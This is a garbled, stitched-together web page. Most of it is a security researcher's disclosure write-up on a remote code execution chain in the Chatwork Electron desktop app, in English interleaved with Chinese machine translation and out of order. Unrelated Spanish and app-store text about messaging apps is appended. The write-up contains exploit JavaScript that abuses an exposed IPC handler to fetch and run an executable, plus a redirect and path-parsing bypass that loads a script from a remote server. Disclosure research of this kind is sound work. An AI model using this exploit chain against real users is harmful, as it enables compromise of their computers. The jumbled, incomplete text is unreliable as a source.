I couldn't open Chatwork while in China. – Chatwork

R = Object.entries({ "/gateway/download_file.php": "file-preview", "/live.php": "live", "/live/": "live", "/#!rid": "message-link", "/g/": "internal-browser-window" }); i So, we need to find a way to place a webview tag in the path under the webview 标记放置在 .At first glance, it might be a bit tricky due to the fact that the only download_file.php is allowed. I attempted to perform a path traversal, like to access other endpoints, but it didn’t work because the URL passed to the setWindowOpenHandler function is normalized.乍一看，这可能有点棘手，因为只允许download_file.php。我尝试执行路径遍历，例如 访问其他端点，但它不起作用，因为传递给 setWindowOpenHandler 函数的 URL 已规范化。However, after some testing, I found that the backend server parses a request path differently compared to the Electron.但是，经过一番测试，我发现后端服务器解析请求路径的方式与 Electron 不同。When the backend server received a request, it decodes the URL first, and then routes the request to an appropriate endpoint.当后端服务器收到请求时，它首先对 URL 进行解码，然后将请求路由到相应的终端节点。For example, the following URL is decoded to on the backend server, which is then normalized to and routed accordingly.例如，以下 URL 在后端服务器上解码为 ，然后将其规范化为 并相应地路由。 using this difference, we can pass the prefix check on the client side, but the backend server will route a request to another endpoint, allowing us to bypass the restriction of the location where the webview tag needs to be placed.利用这个差异，我们可以在客户端传递 前缀检查，但后端服务器会将请求路由到另一个端点，从而允许我们绕过需要放置 webview 标签的位置的限制。Combining all the problems结合所有问题While we can now use any path under the we still need to find a way to place the malicious webview tag in the vulnerable BrowserWindow.虽然我们现在可以使用 下的任何路径，但我们仍然需要找到一种方法将恶意 webview 标签放置在易受攻击的 BrowserWindow 中。Fortunately, Chatwork has an OAuth feature, which allows us to register our own OAuth application, with the redirect_uri pointing to external host.幸运的是，Chatwork 有一个 OAuth 功能，它允许我们注册自己的 OAuth 应用程序，redirect_uri指向外部主机。When the user approves or denies the OAuth authorization, the Chatwork redirects the user to the redirect_uri.当用户批准或拒绝 OAuth 授权时，Chatwork 会将用户重定向到 redirect_uri。By using this behavior, we can redirect the Chatwork desktop application to the malicious URL from the OAuth authorization page. Combined with the routing parser difference, the following URL will redirect the Chatwork desktop application to the attacker-controlled URL when the user approves or denies the OAuth authorization.通过使用此行为，我们可以将 Chatwork 桌面应用程序重定向到 OAuth 授权页面的恶意 URL。结合路由解析器的差异，当用户批准或拒绝 OAuth 授权时，以下 URL 会将 Chatwork 桌面应用程序重定向到攻击者控制的 URL。 we can put the following HTML in the redirected URL:然后，我们可以将以下 HTML 放入重定向的 URL 中：…which then loads a malicious script from the remote SMB server, which will exploit the dangerous method exposed to the preload context like the following:…然后，从远程 SMB 服务器加载恶意脚本，该脚本将利用暴露给预加载上下文的危险方法，如下所示：(async() => { const { ipcRenderer } = require("electron"); await ipcRenderer.invoke("skype-new-window", " setTimeout(async () => { const username = process.execPath.match(/C:\\Users\\([^\\]+)/); await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); }, 5000);})();By executing the above script, the Chatwork desktop application will download the malicious executable and execute it, resulting in the remote code execution.通过执行上述脚本，Chatwork 桌面应用程序将下载恶意可执行文件并执行它，从而导致远程代码执行。Conclusion 结论In this article, I explained how I was able to achieve remote code execution in the Chatwork desktop application by chaining multiple problems.在本文中，我解释了如何通过链接多个问题在 Chatwork 桌面应用程序中实现远程代码执行。It was interesting to learn about the obsolete features of Electron, and I hope this article will be helpful for developers or security researchers interested in developing/analyzing the Electron application.了解 Electron 的过时功能很有趣，我希望这篇文章对有兴趣开发/分析 Electron 应用程序的开发人员或安全研究人员有所帮助。Shameless plug 无耻的插头At GMO Flatt Security, we specialize in providing top-notch security assessment and penetration testing services.

ChatWork Shift - Desktop App for Multiple ChatWork, App

Introduction 介绍Hello, I’m RyotaK (@ryotkak ), a security engineer at GMO Flatt Security Inc.您好，我是 RyotaK （@ryotkak ），GMO Flatt Security Inc. 的安全工程师。A while ago, I reported a remote code execution vulnerability that chains multiple problems in Chatwork, a popular communication tool in Japan.前段时间，我报告了一个远程代码执行漏洞 它链接了日本流行的通信工具 Chatwork 中的多个问题。In the report that I sent to the bug bounty platform, I used an obsolete feature of Electron to escalate to the preload context.在我发送给 bug 赏金平台的报告中，我使用了 Electron 的一个过时的功能升级到预加载上下文。As the vulnerability was interesting, I’m writing this article to share the details of it.由于漏洞很有趣，因此我写这篇文章来分享它的细节。Disclaimer 免責聲明Chatwork forbids reverse-engineering its service with the terms of service.Chatwork 禁止使用服务条款对其服务进行逆向工程。As their bug bounty program is no longer running, they’re requesting researchers to avoid reverse-engineering it for now.由于他们的漏洞赏金计划不再运行，他们要求研究人员暂时避免对其进行逆向工程。If you plan to perform the analysis against their services, ensure their bug bounty program is running again before performing any actions against their service.如果您计划对他们的服务执行分析，请确保他们的 bug 赏金计划再次运行，然后再对其服务执行任何作。TL;DR TL;博士There were three problems in Chatwork:Chatwork 中存在三个问题：Dangerous method is exposed to the preload context危险方法暴露在预加载上下文中An incorrectly enabled legacy feature that allows access to the preload context错误启用的旧功能允许访问预加载上下文Routing parser difference between desktop and web桌面和 Web 之间的路由解析器差异By combining these problems, I achieved remote code execution in the Chatwork desktop application, which can be triggered when a user performs actions on an attacker-provided URL.通过组合这些问题，我在 Chatwork 桌面应用程序中实现了远程代码执行，当用户对攻击者提供的 URL 执行作时，可以触发远程代码执行。Chatwork 聊天Chatwork is a popular communication tool in Japan, which is similar to Slack.Chatwork 是日本流行的通信工具，类似于 Slack。After downloading the desktop application, I noticed that the application was built with Electron. As it’s easy to extract the JavaScript files from the Electron application, I started to analyzing it.下载桌面应用程序后，我注意到该应用程序是使用 Electron 构建的。由于很容易从 Electron 应用程序中提取 JavaScript 文件，因此我开始对其进行分析。Dangerous method is exposed to the preload context危险方法暴露在预加载上下文中After extracting files, I started to inspect it and found the following interesting code:解压文件后，我开始检查它，发现了以下有趣的代码： })), electron_1.ipcMain.handle(ipcEvents_1.ipcEvents.skypeNewWindow, (function (e, n) { electron_1.shell.openExternal(n) }))This code calls the shell.openExternal method when invoked, which is used to open a URL in the associated application.此代码在调用时调用 shell.openExternal 方法，该方法用于在关联的应用程序中打开 URL。As mentioned in the security guide of Electron , the shell.openExternal method is dangerous and shouldn’t be used with the untrusted input. It allows arbitrary code execution by passing the file:// scheme.正如 Electron 的安全指南中所述 ，shell.openExternal 方法很危险，不应与不受信任的输入一起使用。它允许通过传递 file:// 方案来执行任意代码。Since this method is exposed to the preload context, executing the arbitrary JavaScript in the preload context will lead to remote code execution even if the Node.js API is disabled. So, I started to investigate if I can execute arbitrary JavaScript in the preload context.由于此方法暴露给 preload 上下文，因此即使禁用了 Node.js API，在 preload 上下文中执行任意 JavaScript 也会导致远程代码执行。因此，我开始研究是否可以在 preload 上下文中执行任意 JavaScript。An incorrectly enabled legacy feature that allows access to the preload context错误启用的旧功能允许访问预加载上下文To find a way to execute arbitrary JavaScript in the preload context, I decided to find the instances of BrowserWindow .为了找到一种在预加载上下文中执行任意 JavaScript 的方法，我决定查找 BrowserWindow 的实例 .After reading the code a bit, I spotted the following BrowserWindow instance:在稍微阅读了代码之后，我发现了以下 BrowserWindow 实例：var i = new electron_1.BrowserWindow({ [...] webPreferences: { partition: "persist:".concat(e), nodeIntegration: !1, webviewTag: !0 }, [...]});This BrowserWindow instance is created with the nodeIntegration: false option, which means that Node.js API is disabled, and there is no preload script specified.此 BrowserWindow 实例是使用 nodeIntegration： false 选项创建的，这意味着 Node.js API 已禁用，并且未指定预加载脚本。However, as you can see, the webviewTag option is enabled. I Hace tiempo les hablaba de Franz, una aplicación que integra varios servicios de mensajería instantánea en una sola; hoy quiero hablar de algo similar, se trata de una extensión disponible para Chrome, que hará lo mismo que Franz pero desde su navegador web.Hoy en día utilizar aplicaciones de chat como lo es WhatsApp, Telegram, Facebook Messenger, entre otras, se han vuelto popular y necesario, tanto, que han surgido aplicaciones para escritorio y multiplataforma, tal es el caso de Franz , Rambox y All-in-One Messenger que se une a la lista.All-in-One Messenger es una extensión disponible para Chrome, que unifica la mayoría de los servicios de mensajería instantánea en una sola aplicación.

Japan and spread to countries that have been influenced by Japanese culture. In other words, people who could identify with manga and anime characters from Japan have been able to relate to LINE well, especially when compared to other Asian countries and also Europe and America. How to use the PC version?The app supports Windows 8, 10 and also Mac OS. To use LINE’s PC version, users must first register their email address on LINE’s Android smartphone version. The registration could be done even on a tablet. The PC version should be downloaded, and the registered mail address and password used for logging in. What is Call Me Instead?Call Me Instead is an option that lets a user verify a phone number. If the option is not available, it means the phone number verification has already been done. This is another security feature to ensure multiple numbers aren’t used for the same account.What is group chat?A group chat helps interact with multiple friends simultaneously. The groups can be named and group members can also befriend each other or interact individually. Users cannot be added to a group at whim. Invites must be sent and invited users would not become a group member until they accept the group invitation. Is there a limit to adding friends?Yes, LINE restricts the number of people a user can have as friends on the platform. This limit applies to the number of people a user could be friends with and also how many people could add the particular user as friend. Moreover, a group cannot have more than 499 friends.Explore MoreBikLink MessengerFreeFree messaging app for BikLink usersChatwork - Business Chat AppFreeA free program for Android, by ChatWork Inc..xx messengerFreeFree private messaging appShareChat WhatsApp Status Videos Shayari NewsFreeFree social media Indian appMiChat - Free Chats Meet New PeopleFreeFree mobile communications appSwitchUp - Second Phone NumberFreeA free program for Android, by TelTech Systems inc.Text BombFreeA free app for Android, by ericolszewski.Omegle ChatFreeAnonymously chat using this free appNicegramFreeA Telegram-like interface with enhanced functionalityRealme DialerFreeFree call manager and dialer appWeCard-Live Chat Card GameFreeA new wave of social gamingimo free.
